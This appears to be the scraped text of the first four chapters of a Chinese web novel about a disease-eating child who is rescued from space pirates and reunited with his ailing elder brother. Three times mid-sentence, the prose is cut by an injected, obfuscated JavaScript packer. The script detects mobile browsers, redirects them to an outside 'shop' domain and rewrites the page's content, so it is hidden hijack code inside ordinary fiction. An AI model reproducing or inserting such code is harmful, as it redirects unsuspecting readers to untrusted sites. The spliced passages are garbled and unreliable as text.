《全星际唯一治愈师》 1. 第 1 章 乌姆星系。 向来冷清的埃米尔星际医疗救助中心最近格外热闹。 前不久星际骑警接到报警,抓获了一艘走私舰,解救了被关在里面的奴隶们——边缘星系星盗猖獗,走私泛滥,这种情形并不少见。 解救后,工作人员将人送到医疗救助中心,一边登记,一边进行DNA检查与核对。 仪器不断发出“滴滴滴”的声响。 这意味着有DNA样本和失踪人口库比对上了,经过工作人员的登记确认后,便会将信息发送给对方的亲人。 一名正在登记的工作人员却忽然瞪大了眼睛,仿佛不敢相信眼前的信息。 “这……这是……” 他面前那份失踪人口库的联系人名单上竟赫然写着“江砺”两个字。 整个联邦应该没人不认识这个名字吧! 元帅江砺!! 联邦战神,从军至今战功赫赫。 是整个联邦的守护神,也是无数人心目中的英雄。 如果说名字还有可能重名,但连地址都是中央星系蔚蓝星区——元帅府的所在地,那就没错了!! 他又看了一遍失踪人的信息。 江遇安。 与联系人的关系是父子,失踪时间是星历3021年6月17日。 上面还附有江遇安失踪前的照片。 那时他还不到一岁,栗发绿眸,被妈妈抱在怀里,可爱得令人心都化了。 工作人员看向他们解救的那个孩子的照片。 同样的栗发绿眸,依稀能看出从前的影子,只是要瘦弱许多,也添了很多伤痕。 连他这样一个外人都看着心疼,别说是作为家人的元帅一家了。 工作人员加快动作,再次复核了一遍DNA数据。 确定没有问题后,便立刻按下确定按钮,将信息发送了出去。 - 主治医生莫伦龇牙咧嘴地从厕所出来,有些后悔昨晚不该去那家新开的酒吧,也不该猎奇去吃那盘虫兽肉。 搞得自己半夜就开始上吐下泻,虽然吃了药,但收效甚微。 莫伦揉了揉肚子,决定一会下班后再去检查。 好在最近并不算太忙碌。 一般来说,从走私船上解救出来的人身体状况都不会太好,所以每次解救成功,整个救助中心的医护人员都会忙碌好一阵子。 但这次被救下来的人情况却好很多,受伤的都不多,大部分人身体还好得不行,要说受伤,反倒是那些星盗伤得更重。 要不是星际骑警速度快,那些星盗搞不好就被他们打死了。 星盗自然由军队那边接手,埃米尔医疗中心就只负责治疗这些受害者。 莫伦也是因为最近工作格外轻松,才有那个闲情逸致去酒吧,吃了那盘该死的虫兽肉。 一想到这里,他的肚子又开始疼了,只能强迫自己把注意力转移到工作上。 他推开病房门。 一阵带着清新草木香气的风迎面拂来,似乎让他隐隐作痛的肚子都好受了些。 整洁的病房内,一名孩童正在摆弄桌上的盆栽。 他大概四五岁左右,穿着有些宽大的病号服,露出的手腕白嫩细瘦,上面还隐约可见伤痕。 换气口吹出新鲜柔和的空气,吹动他微卷的浅栗色头发,腮帮子微微鼓起,像一颗白白嫩嫩的小汤圆,哪怕表情严肃,也只让人觉得可爱。 莫伦立刻扬起亲和的笑容:“又又早上好!今天感觉怎么样?” 对方却仿佛没有听见,一双碧绿如水洗般的眸子眨也不眨地看着眼前的盆栽。 莫伦却是习惯了。 他刚看到又又的时候,他正昏迷着被人抱在怀里,瘦瘦小小、满身伤痕。 等到检查的时候,所有人更是倒吸一口凉气。 这样一个小小的孩子,身上不仅有刀伤、鞭伤、烫伤,还营养不良,患有多种疾病。 是这次获救人员中伤势最严重者之一。 这些没有人性的星盗,竟然如此虐待一个孩子!! 莫伦又是心疼又是愤怒。 好在这些伤势虽然严重,但几乎都是外伤,可以通过医疗舱修复。 只是医疗舱能修复身体的伤,却修复不了精神的伤害。 又又并不像这个年纪的孩子一般哭闹,再加上这张可爱的脸蛋,迅速俘获了整个医疗中心的人。 可不管是他们带来的美食还是玩具,他都不感兴趣。 谁能想到他竟然会对一盆盆栽感兴趣。 这盆盆栽之前生了病害,莫伦忙着没空去处理。 早知道又又喜欢,他就去买几盆健康的回来送他了。 又又吞噬掉盆栽上最后一点病害,珍惜地舔了舔嘴唇。 唉,长老们以前还老说他挑食,要是看到他现在这样,不知道该多欣慰呢! 又又原本是食病兽一族的幼崽,意外穿越后,陷入沉睡之中,前不久才苏醒过来。 可他没想到,万年后的医疗这么发达,很多病躺一下医疗舱就治好了。 这些医护人员更是一个赛一个的健康,差点给他饿死。 想到接下来几天又得饿着了,他委屈地扁了扁嘴。 就在这时,他忽然闻到一丝香气。 转过头才发现,那香气的源头竟然是莫伦。 莫伦只看到又又朝他露出笑容,瞬间觉得自己的心脏被击中了。 整个人受宠若惊,声音都夹了起来:“又又,你是在对我笑吗?” 莫伦因为长相粗犷,向来不受孩子的喜爱,大多数小朋友看到他都会被吓哭,这还是第一次有孩子对着他笑呢! 莫伦觉得自己都飘了:“又又是喜欢莫伦叔叔对吧?” 又又偏着脑袋,似乎有些困惑。 但很快他就点了点头:“喜欢!” 肠胃炎和中毒诶! 看着就很好吃的样子! 都快饿红眼的小幼崽当然喜欢。 莫伦“嘿嘿嘿”地笑起来。 哼!就该让同事们亲眼看到这一幕,看以后谁还说他是小孩杀手! 莫伦喜滋滋地一边哼着歌,一边操作着仪器。 又又坐在病床上等了好一会,都没等到莫伦过来。 明明以前那些人只要看到自己,就会迫不及待地跑过来,让他吞噬掉伤病的。 又又想了一会就放弃了。 没关系。 他也可以自己过去吃的! 莫伦正忙碌着,忽然感觉到衣角被人扯了扯。 低下头就看到又又正在吃力地抬手去抓他的手指。 白嫩的小短手上还有没有消退的伤痕,因为实在够不着,只能退而求其次地抓住他的衣角。 莫伦的心顿时变得又酸又软。 他知道,很多人在遭遇重大创伤后,会患有创伤应激障碍。 又又还这么小就被星盗掳走,又遭受了这样的虐待,平时虽然没表现出什么,但内心肯定是没有安全感的。 想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921564|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里,他便蹲下|身,将又又的小手小心地放到自己掌心中。 看到江遇脸上那骤然绽开的笑容,他的心都要化了。 唉,这孩子不知道吃了多少苦头,才会接受这样一点点善意,就这么高兴。 又又通过莫伦的手掌,吞噬着他身上的病症和毒素,满足地眯起眼睛。 口感又甜又软,那毒素还是从来没有吃过的口味,真好! 莫伦就这么握着又又的手,做完了一系列的检查。 好在又又的身体并没有什么大碍,只是还有些虚弱,再休养两天就差不多能出院了。 莫伦松了口气。 察觉到莫伦要离开,又又顿时有些依依不舍。 莫伦看到后,这颗心更软了。 要不是他急着去检查身体,肯定留在这里再陪陪他。 想到这里,他忽然后知后觉。 我肚子怎么不疼了? 他莫名地揉着肚子,果真一点都不疼,仿佛之前频繁跑厕所的记忆像是假的一般。 又又吞噬完莫伦身上最后一丝病气,满足地打了个饱嗝,毫不犹豫地松开莫伦的手:“哦,那你走吧!” 莫伦:嗯??? 明明掌心还残留着软软的触感,但刚才满脸依恋的孩子已经转过身,踮着小短腿往床上爬了。 等、等一下! 莫伦瞬间傻眼。 怎么有种用完就丢的感觉?? 可是看着又又那张漂亮又乖巧的脸蛋,他立刻摇摇头,把这个念头抛出脑子。 不不不。 他怎么能这么想又又呢! 又又分明就是太乖巧懂事了,忍着不舍和难过和他告别的。 他越想越觉得自己简直不是个东西。 见到又又渴望地看着窗外,忽然想到了什么,连忙道:“救助中心已经在帮你找家人了,等比对上了,你就能见到他们了。” 又又眨了眨眼睛:“家人?” “是啊!”莫伦看着他圆溜溜的眼睛,笑眯眯道,“又又难道不想爸爸妈妈吗?” 爸爸……妈妈…… 又又茫然地看向他:“爸爸妈妈是什么?” 莫伦怔住了,竟不知道该怎么解释。 这么小的孩子,原本应该在父母身边被呵护被照顾,他却被该死的星盗掳走,被欺负虐待,尝遍苦楚…… 莫伦越想越心疼,声音低沉温柔:“他们是又又最亲的人,和莫伦叔叔一样会很喜欢又又,不对……他们会比叔叔更喜欢又又,会对又又很好的!” 然而又又只听见那句“和莫伦叔叔一样”。 他的眼睛瞬间亮了起来。 和莫伦叔叔一样有病! 这真是太好了! 他目光灼灼地看着莫伦:“我什么时候才能见到他们啊?” “呃……” 莫伦卡壳了。 看到又又眼中的渴望,他第一次觉得自己这些同事的办事效率太低。 就在这时,病房门猛然被人推开。 一名工作人员兴奋地跑进来:“又又,你的家人找到了!!” 莫伦长出一口气,也跟着兴奋起来:“这真是太好了!”随即又问同事,“又又的家人是谁啊?” 他在心里摩拳擦掌,到时候一定要好好嘱咐他们照顾又又,如果他们对又又不好,他就…… “是江砺元帅!!” 莫伦:“?!!” 谁?! 你说又又的家人是谁? 2. 第 2 章 中央星系蔚蓝星区。 乐清沅推开诊室的门,就看到靠窗的躺椅上有一道熟悉的身影。 身材高大,一双长腿微微支起,衬得那张宽大的躺椅都显得有些局促了。 五官深刻硬朗,极具攻击性,哪怕脸色苍白,也没有减弱分毫。 乐清沅一进来,他便立刻睁开了眼睛。 一双灰眸仿佛无机质般,有种非人的冷静感。 但随即他便拿过一旁的金丝眼镜戴上,镜片微闪,遮住了眼睛。 “你怎么来了,今天不是你复诊的日子吧……”说到这里,乐清沅脸色微变,“难道是病情恶化了?” 江从谦:“没有。” 乐清沅却不信他,他跟江从谦从小就认识,可太了解这人的性格了。 向来就是能忍就忍,要不是病情加重,实在受不了了,他可不会老老实实来医院。 果然,他看完检查结果后,眉毛简直能打死结。 乐清沅将结果拍在江从谦面前,冷笑道:“异能崩坏度79%,头疼频率和时长增加了吧?是不是已经开始耳鸣、眩晕?严重的时候甚至会意识模糊、忽然晕倒……” 一连串的症状从乐清沅口中说出来,狂风骤雨般砸向江从谦。 江从谦顿了顿,淡定道:“我一直按医嘱服药。” “这时候知道遵医嘱了!”乐清沅气得直敲桌,“我还让你少用异能,你怎么不听?” 自从300年前,人类进化出异能,与异能相关的一些病症也随之产生。 异能产生的原理太过复杂,以目前的医疗手段,并不能根治这些病症,只能缓解。 异能根据稀有程度,分为S、A、B、C、D、F六个等级,同时根据能力高低,又分为一到十共十个等级。 江从谦的异能是脑域强化,是很稀少的S级异能,等级也不低。 他从小就是天之骄子,家世、长相、能力都是顶尖,人生可以说是一片坦途。 直到十年前,他被诊断出异能崩坏症。 发病时身体会莫名疼痛,一开始疼痛的频率比较少,可能是一个月甚至半年一次,之后疼痛的频率和程度会不断增加。 前期还能靠自己的意志力忍耐过去,到了后期,则需要特制的药物才能止疼。 而且,随着病程发展,会有越来越多的并发症,彻底摧毁人的身体,直到最后异能崩溃,甚至失去生命。 异能的崩坏是个不可逆的过程,病程很长,又痛苦。 只要检查出来,就等同于宣判了死刑,只能眼睁睁看着自己一步步走向死亡。 想要缓解,唯一的办法就是减少异能的使用,但这也只能放缓崩坏的速度。 反正无论如何,也不会是像江从谦这样作死,变本加厉地使用。 乐清沅叹了口气:“你知不知道,你再这样不加节制地使用异能,崩坏的速度会超乎你的想象,你是不要命了吗?!” 哪怕乐清沅不说,江从谦也知道自己的身体每况愈下。 可他却没有一点后悔动容,只是冷静地问道:“所以,我还能活多久?” 乐清沅:“……” 他此刻有一万句脏话想说。 乐清沅在心里默念《联邦医疗职业行为规范守则》,才忍住骂人,硬邦邦道:“……两年。” 江从谦的睫毛颤动了一下。 只有两年。 他能在异能彻底崩溃前,把弟弟找回来吗? 乐清沅也看到了他脸上一闪而过的脆弱。 他隐约听说过,江从谦这么拼命地使用异能扩大公司,是为了找他刚出生就被人掳走的亲弟弟。 这么多年都没有消息,换做旁人,只怕早就放弃了。 可是江从谦…… 他又叹了口气,语气也缓和了许多:“行了,你休息一会,我去给你开药。” 就在这时,江从谦的私人通讯器忽然亮起,看到上面显示的信息,他神色突变,猛然站起身。 “我出去一下。” 还不等乐清沅说什么,他已经匆忙离开了诊室。 乐清沅呆愣地看着他的背影。 他认识江从谦这么多年,这人向来冷静从容,仿佛没有什么能打破他脸上的面具,这还是乐清沅第一次见他这么慌乱。 他到底看到了什么? 江从谦快步进了休息间,深吸一口气,才拨通通讯器。 很快,一道投影便出现在他面前。 对方头发半白,穿着笔挺的制服,正是元帅府的管家宁叔。 自从幼弟遇安被掳走,母亲悲痛过世后,江家的几个孩子便和父亲江砺的关系降至冰点,纷纷都搬出了元帅府。 只有江从谦偶尔还会和宁叔通话,两人关系还算过得去。 但此刻,江从谦想到刚刚看到的那条信息,完全顾不上和宁叔叙旧,声音颤抖地问:“宁叔 ,消息是真的吗?找到……小遇了?” 宁叔老泪纵横:“是啊,大少爷,那边发了DNA报告过来,确定是小少爷……” 据宁叔说,他之前收到乌姆星系的讯息,说是他们那边抓获了一艘走私舰,救下来的人里就有江遇安。 这样的事情在江遇安失踪后的这几年里发生过无数次,只是每次结果都是失望。 宁叔原本以为这次也不例外,只是抱着万中无一的可能性联系了对方,然后就看到了他们发过来的DNA报告。 他没有半分耽搁,第一时间就联系了江从谦。 江从谦已经看完了DNA报告,立刻就要去接回弟弟。 谁知刚迈步,熟悉的疼痛瞬间蔓延全身,好在及时扶住桌子,才没有摔倒。 宁叔吓了一跳:“大少爷,您怎么了,是不是您的病……” “我没事。”江从谦迅速吞下一粒止疼药,随着疼痛平息,他也渐渐冷静下来,“宁叔,我会亲自去接小遇,但是他回来这件事,暂时不要告诉……父亲。” 宁叔犹豫道:“大少爷,元帅这些年也不好过,这……” 他之所以先将消息告诉江从谦,是因为元帅江砺正在帝国访问,这次访问极其重要,距离他回来至少还要半个月的时间,总不能让小少爷在陌生的医疗中心等半个月。 可他没想到江从谦竟然一点情面都不讲,打算直接瞒着元帅。 “您误会了。”江从谦淡然解释道,“他现在身处帝国,人员复杂,我只是担心,万一消息走漏,再发生当年那样的事情。” 宁叔瞬间就说不出话来了,无奈地叹了口气:“是,大少爷。” 通讯结束后,江从谦立刻毫不顾惜地使用异能,在最快的时间内安排好一切,并动用所有资源申请了去乌姆星系的私人航线。 乐清沅拿着开好的药走进来,见状差点气得尖叫:“江从谦!你疯了?!” 江从谦神情没有半分波动,一边往外走一边顺手拿走他手里的药:“谢了。” 乐清沅追过去:“喂!” 江从谦的助理已经将飞行器开了过来,时间完全在江从谦的计算之内,他甚至都没有停顿,便直接走了上去。 下一秒,飞行器呼啸而去,只留下一道尾烟。 乐清沅:“……” 可恶,脑域强化了不起啊!! - 中央星系与乌姆星系距离遥远,哪怕不眠不休连续跃迁,也要一周的时间。 江从谦靠在椅子上,他刚刚把所有事情处理完,难得有些出神。 他的父母一共育有四个孩子,小遇是最小的那个,而且刚出生就被检测出是个没有异能的普通人。 也因此,他对这个弟弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921565|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就格外关心一些,自从江遇安被掳走后,这些年他一直在想尽办法找他。 这时,助理走了进来。 江从谦立刻回神:“联系上了吗?具体情况怎么样?” 助理将资料递给他。 解救视频中,瘦弱的孩子紧闭双眼,被人抱在怀里,身上的衣服破旧不堪,露出来的部分更是满身伤痕。 江从谦瞬间握紧了拳头。 骤然散发的气势让助理都有些喘不过气来,连忙道:“埃米尔医疗中心那边说,小少爷恢复得不错,再休息几天就好了。” 医疗中心在确定了江从谦的身份后,便将江遇安的资料都发了过来。 江从谦的目光扫过那长长的数据,同时催动异能分析。 直到确定弟弟身体一切正常,才放下心来。 可是一想到弟弟被这么虐待,原本平复的情绪又翻涌起来。 “那些星盗呢?” 助理愣了一下:“已经被移交给第五军团了。” 江从谦揉了揉抽疼的额头,神情冷冽。 虽然乐清沅警告过他要少用异能,可是事关弟弟,他根本忍不了。 他不仅要把弟弟带回来,还要让这些星盗都付出代价! - 与此同时,又又乖乖地躺在医疗舱里,莫伦仔细地检查了一遍,发现他身上的伤都痊愈了,比自己预想的要快很多。 他虽然有些疑惑,但也没有多想。 自从人类进化后,不止是拥有异能,也变得更加强壮,即便是没有异能的普通人,身体素质也比以前提高了许多。 就像他自己,先前那么严重的肠胃炎,就吃了点药,不也是很快就好了。 见又又眼巴巴地看着自己,莫伦大手一挥,终于允许他离开病房去外面玩耍。 不过顾忌着他重伤初愈,莫伦也不许他走太远,只能在医疗中心的小花园附近玩,还得自己跟在身旁。 又又揉着空空的肚子,眨巴大眼睛:“嗯嗯嗯!” 看似连连点头,实则完全没有入耳朵,心早就飘出去了。 因为这次受伤的人不多,很多人早早就出院了,小花园这边并没有多少人。 小花园的正中是一座大理石的雕像,旁边种着一圈蓝紫色的宁神花,附近还有不少可供休息的椅子。 莫伦热情地介绍那座雕像:“这就是医疗舱的发明者裴淮彦博士。” 又又:“……” 原来这就是害他没饭吃的罪魁祸首!! 他气鼓鼓地瞪着雕像,一时没有注意路,差点被绊一跤。 抬头一看,才发现是一名坐着轮椅的男孩子。 他大概七八岁,红发红眸,身上穿着银灰色束缚服。 看到他,莫伦脸色顿时一变,连忙将又又抱起来远离对方。 男孩似乎对这种情形习以为常,一言不发,只是默默地控制轮椅往后退了退,几乎要退到树丛的阴影之中。 莫伦松了口气。 这个孩子名叫洛恩·法雷佐,来自法雷佐家族。 半年前因为患有异能失控症,在这边住院。 这些大家族内的龌龊他自然不会和又又说,只是告诉他洛恩患了异能失控症,让他不要靠近洛恩,免得受伤。 又又茫然地看着他。 叽里咕噜说什么呢?但他还是敏锐地抓住了几个关键字,努力思考着。 异能失控症=没听过的病=没吃过的好吃的。 又又:(??﹃??) 洛恩忽然感觉到有点冷,默默地往束缚服里又缩了缩。 正好这时莫伦有事要离开一会,便让又又留在原地等他,还千叮咛万嘱咐不让他靠近洛恩。 又又乖巧地点点头。 可是等莫伦一走,他便蹑手蹑脚地朝洛恩走去。 3. 第 3 章 从又又出现,洛恩就注意到了他。 埃米尔星区地处偏僻,这边居住的人并不多,孩子就更少了。 洛恩在埃米尔医疗中心住了这么久,就没见过几个孩子,尤其像又又这么小,又长得这么可爱的孩子。 但他只是看了一眼,便冷漠地移开目光。 洛恩出生于法雷佐家族,法雷佐家族的异能都与火有关,而洛恩一出生就被检测出A级异能“爆炸”,并且五六岁时就已经达到了三级,因而从小就被家族重视培养。 可自从他得病之后,一切就变了。 家族认为他没有了价值,以养病的名义将他流放到埃米尔星区这么个鸟不拉屎的地方。 最让洛恩痛苦的,并不是穿着束缚服,也不是没完没了的吃药、治疗。 而是其他人同情和恐惧的目光。 莫伦和又又说话的声音很小,但洛恩也能猜到他会说什么。 无所谓。 反正他本来也不想跟人打交道,尤其是这个年纪的小屁孩,吵闹、麻烦又不讲礼貌。 洛恩抿紧唇,想要往更僻静的地方去。 谁知轮椅却动不了了。 洛恩:? 他低下头,视线内出现了一颗小白团子。 栗色卷发,绿色眼睛,脸颊白白嫩嫩的,像个洋娃娃。 但此刻,这个洋娃娃抓住他的轮椅,让他无法动弹。 洛恩瞬间瞪大了眼睛:“你……!” 这小屁孩什么时候跑过来的!! 又又仰起头,充满渴望地看着洛恩。 好香啊! 好想吃啊! 洛恩被这么看着,身体瞬间变得僵硬,色厉内荏道:“走开,不要靠近我!” 又又眨了眨眼睛,仿佛听不懂他在说什么。 “噔噔噔”顺着轮椅往上爬,像个树袋熊一般抱住了他。 洛恩:!!! 那个小小的、柔软的身体贴着他,属于同类的温暖透过束缚服传递过来。 身体里原本躁动不安的异能也仿佛被安抚下来,让他感受到了久违的宁静和舒适。 洛恩一时间怔愣住,忘记了自己要说什么。 又又趴在他身上,美滋滋地吞噬着病症。 是从来没有吃过的味道呢! 好吃! 我吃吃吃! 就是他身上这件衣服有点烦人,把能量都束缚住了,让又又吃得很不尽兴。 洛恩忽然感觉胸口有点凉。 他回过神,低头看去,竟然发现又又在扒他的束缚服。 他吓了一大跳。 束缚衣虽然能压制异能,但洛恩的异能太强了,并不是百分百安全的。 洛恩立刻将又又抱起来,轻柔地将他放在地上,但语气却是和动作截然不同的凶狠:“那个医生难道没有跟你说,让你不要靠近我吗?” 又又吃得正香,猝不及防被人抱走,还没有反应过来,下意识朝洛恩走了两步。 “站住!”洛恩用力抿紧嘴唇,硬起心肠,“你不知道我有病吗?!” 又又乖巧地点头:“知道!” 洛恩:“……” 他的话瞬间卡住,好半天才道,“知……知道你还不走?” 离他这种危险的废物远一点。 反正……他也已经习惯了。 “为什么要走?”又又疑惑地看着他,“因为生病你才需要我呀!” 洛恩身体微微一震,呆呆地看着他。 小白团子说的那么理所当然,仿佛这是什么既定的事实一般。 洛恩的心脏瞬间变得酸软。 被强压下去的委屈都涌了上来。 明明他们告诉他,得病不是他的错。 可他们还是选择远离他,连他的亲生父亲都放弃了他。 他独自一人在远离家乡的医院里住着,不知道什么时候异能就不受控制,伤到别人。 他也害怕,也恐惧,却只能忍着。 这是第一次有人跟他说,因为生病你才需要我。 洛恩眼眶泛红,死死咬住嘴唇。 但正因如此,他反而别开头,用更冷漠的语气说道:“我不需要你,你赶紧走。” 又又瞪大了眼睛:“为什么?” “没有为什么。”洛恩控制轮椅远离他,以行动表达自己的态度。 又又迈着小短腿追了几步,但两条腿哪能追得过两个轮子。 眼看着美食就要离自己而去,他“哇”地一声哭了出来。 洛恩:!!! 他迟疑地停了下来,想要走,却担心又又,在心里天人交战。 又又捂着脸,透过指缝偷偷看洛恩。 发现他停下来,立刻几步跑过去,紧紧地抓住他的手指。 洛恩看着他干干净净的脸颊,这才后知后觉受骗了。 他、居、然、假、哭!!! 洛恩一腔愧疚和后悔,瞬间化为怒气,颤抖地指着又又说不出话来。 又又却惊喜地发现,生气时的洛恩,美味程度+1,更好吃了诶! 莫伦忙完事情,回到小花园时正好看到这一幕,整个人差点吓飞了。 众所周知,异能失控症与人的情绪息息相关,情绪起伏大的时候,更容易发病。 莫伦甚至不敢靠近,免得激怒洛恩,造成更严重的后果。 他勉强维持着笑容,轻声冲着又又道:“又又,快回来,到莫伦叔叔这边来。” 洛恩看到莫伦,原本鼓噪的情绪瞬间冷寂下来。 他知道应该让又又听莫伦的话离开,可却根本舍不得松开指尖那点温暖。 然而,又又只是看了眼莫伦,便毫不犹豫地拒绝:“不要。” 莫伦:! 洛恩也愣住了。 莫伦都快哭了:“又又听话,你的家人到了,我带你去见他好不好?” 又又果然犹豫了。 洛恩垂下眼睛,想要将手抽回来。 但随即,就听见又又大声而坚定地说:“我要跟洛恩一起!” 洛恩觉得眼睛有点酸,原本要抽回来的手指弯了起来,用力地握住了又又的手。 被家族流放到埃米尔星区之后,洛恩原本已经自暴自弃了。 虽然医生说他的病还没有到不可挽回的程度,但洛恩一直消极对待治疗,对自己的身体漠不关心。 可现在,那双红色眸子渐渐亮起来。 就像是原本熄灭的灰烬中又燃起了火光。 莫伦头都开始痛了。 他不过才离开一小会,事情怎么就会变成这样呢! 孩子们还小,不知道事情的严重性,他却是知道的。 于是,他只能苦口婆心地劝道:“又又,你只是好不容易碰到同龄的玩伴,所以才舍不得分开,等你跟着家人回去,会认识更多朋友的,洛恩他……” 他犹豫片刻,最终还是狠下心肠道,“洛恩他的病基本不可能治愈,这就是个定时炸|弹,不知道什么时候就突然爆炸了,到时候你会受伤的,洛恩也会很痛苦。” 莫伦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921566|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话像是一盆冷水浇在洛恩的头上。 他的指尖颤了颤,眸底那一丝火光也再次变得暗淡。 又又的眉毛皱成一团。 他不明白莫伦为什么要这么说,只要他把洛恩身上的病吃完,洛恩的病就好了呀! 他晃了晃洛恩的手:“洛恩,你的病会好的。” 洛恩怔怔地看着他。 哪怕知道又又是在安慰自己,也像是重新有了勇气,握着他的手更紧了些,用力地点点头。 莫伦无奈道:“又又……” 洛恩却像是下定了某种决心,抬起头看向莫伦,表情是远超这个年龄的成熟与冷静:“莫伦医生,我不会伤害又又的。” 莫伦叹了口气。 这哪里是想不伤害就不伤害的,异能失控症之所以叫这个名字,就是因为它不可控啊! 然后他就听见洛恩说:“我会申请佩戴阻抑环,这样就不会伤害别人了。” 莫伦愣住了,张口结舌半天说不出话来。 阻抑环能够随时监控异能的失控度,一旦发现异能失控,就会直接电击异能者的大脑,阻断异能的释放。 相比温和的束缚服,阻抑环基本能杜绝异能失控的风险,可对于异能者来说,却是要承受着随时被电击的痛苦。 因而,哪怕知道异能失控症很危险,一般人也不会佩戴阻抑环。 莫伦没想到洛恩会做到这个地步。 看着对面紧紧握着手的两小只,莫伦觉得自己简直就是故事里的反派。 他抹了一把脸,反派就反派吧。 事到如今,只能用最不要脸的招数了。 莫伦拿出这辈子最快的速度,冲到又又面前,将他一把抄进怀里,然后撒丫子就跑。 又又和洛恩都惊呆了。 洛恩反应过来后,立刻操纵轮椅去追莫伦。 而又又也挣扎着朝洛恩伸出手:“放开我!我不回去!我要跟洛恩一起走!!” 一大两小三人就这么在小花园上演追逐战。 与此同时,一艘星舰出现在半空中。 舰体庞大而庄严,因为日光的折射显得模糊而失真,尾部拖曳着一条静谧燃烧的幽蓝色光带掠过天空。 这艘过于庞大的星舰并没有驶向停泊港,而是悬停在埃米尔医疗中心的半空中。 舰体下方的出口打开,江从谦坐着飞行器朝着医疗中心而来。 随着越靠近医疗中心,他也越发地坐立不安。 哪怕涉及一个星球的生意,他都没有这么紧张过。 他已经看过了又又现在的照片。 他比自己想象中的要瘦弱很多,但没有关系,回去之后他会找专业的营养师和康复师,养好弟弟的身体。 哦对了,还要找儿童心理医生。 想到弟弟的主治医生告诉他,弟弟刚被救醒时,连话都不会说,平常还很没有安全感,江从谦就心疼得不行。 他几乎能想象得到,弟弟小小的一个缩在角落里,怯生生地看着他们,一旦有一点风吹草动,就会吓得瑟瑟发抖。 因此,即便心里很想马上见到弟弟,将他带回中央星系。 他还是克制住了。 要循序渐进,不能吓到他。 江从谦甚至催动异能,设想了无数种和弟弟见面的场景。 可无论哪一种,也不是他现在见到的这样子。 在一片鸡飞狗跳中,弟弟声嘶力竭地喊着:“我不要哥哥,我要跟洛恩一起走!!” 江从谦的心“啪”的一声,碎了。 4. 第 4 章 埃米尔医疗中心的院长小心翼翼地看了眼江从谦。 他身材高大,长相与江砺元帅有五六分相似,眼尾狭长,一双冷淡的灰眸被金丝眼镜遮住。 他的脸色有几分苍白,却丝毫不影响他那身气势。 院长被他看一眼,原本满肚子套近乎的话都咽了下去。 倒是江从谦主动挑起话题。 只是到小花园短短的一段路程,院长还没反应过来,便稀里糊涂被套完了话。 正当他心中忐忑的时候,却发现江从谦脸上的冷淡瞬间消融,连目光都变得柔软起来。 他顺着对方的目光看去,那是一个四五岁的孩子,栗发绿眸,白白嫩嫩的,看着就乖巧可爱。 他立刻便反应过来,这就是江元帅的小儿子,江从谦的亲弟弟。 正当他在心里感慨这可歌可泣的兄弟情时,就听见又又的尖叫声:“我不要哥哥,我要跟洛恩一起走!!” 院长:!!! 江从谦从见到又又的那一刻起,眼中就没有了别人。 这是他们一家人失而复得的珍宝啊。 江从谦贪婪地看着眼前健康活泼的弟弟。 哪怕他已经把弟弟的资料看了很多遍了,甚至倒背如流,可亲眼见到他活生生出现在自己面前,还是令他有些不敢相信。 弟弟失踪的这些年里,他整晚整晚睡不着觉。 即便睡着了,也会被噩梦惊醒,仿佛能听到弟弟的哭声。 他无数次地悔恨,要是当初他快一点赶回去,是不是弟弟就不会被抓走。 听到又又的话,他的身体晃了晃,脸色瞬间变得惨白,手中精心准备的礼物也掉了下去。 莫伦被那边的动静吸引,下意识松了手。 又又趁机挣脱,跑到洛恩身边抓住他的手。 这时,他才注意到被人群簇拥的江从谦,然后就被他身上的病吸引了。 这是他见过的最美味的病症了! 看起来比洛恩还要好吃!! 又又很想立刻过去,可看到被自己握着的洛恩,又犹豫了。 在江从谦的对比下,洛恩已经降级成小零食了。 可是,大餐固然诱人,小零食他也舍不得放手啊。 江从谦看着弟弟渴望却又不敢上前的模样,心脏像是被一把生锈的刀来回切割,泛起尖锐而绵长的痛。 也难怪弟弟不要他。 他在弟弟最需要的时候,不在他身边,让他小小年纪吃了那么多苦头。 江从谦几乎要被满心的愧疚所吞没。 他小心翼翼地走上前,在又又面前半蹲下。 他身材高大,即便是蹲下,也比又又高许多,即便不说话,也压迫感十足。 洛恩有些不安地握紧又又的手,将他往后藏了藏。 江从谦这才注意到他。 他的目光不轻不重地落在洛恩穿着的束缚服上。 虽然他什么都没说,但洛恩却像被刺到一般,不由自主地松开了手。 又又此刻的注意力都放在江从谦身上,也没有注意到这点。 江从谦不动声色地隔开两人,面对着又又。 眼前的孩子小小一只,脸蛋还没有江从谦的巴掌大,胳膊和腿都细细瘦瘦的。 江从谦探出的手指都是颤抖的,像是碰触什么易碎物品一般。 他向来聪明的大脑,此刻更是一片空白。 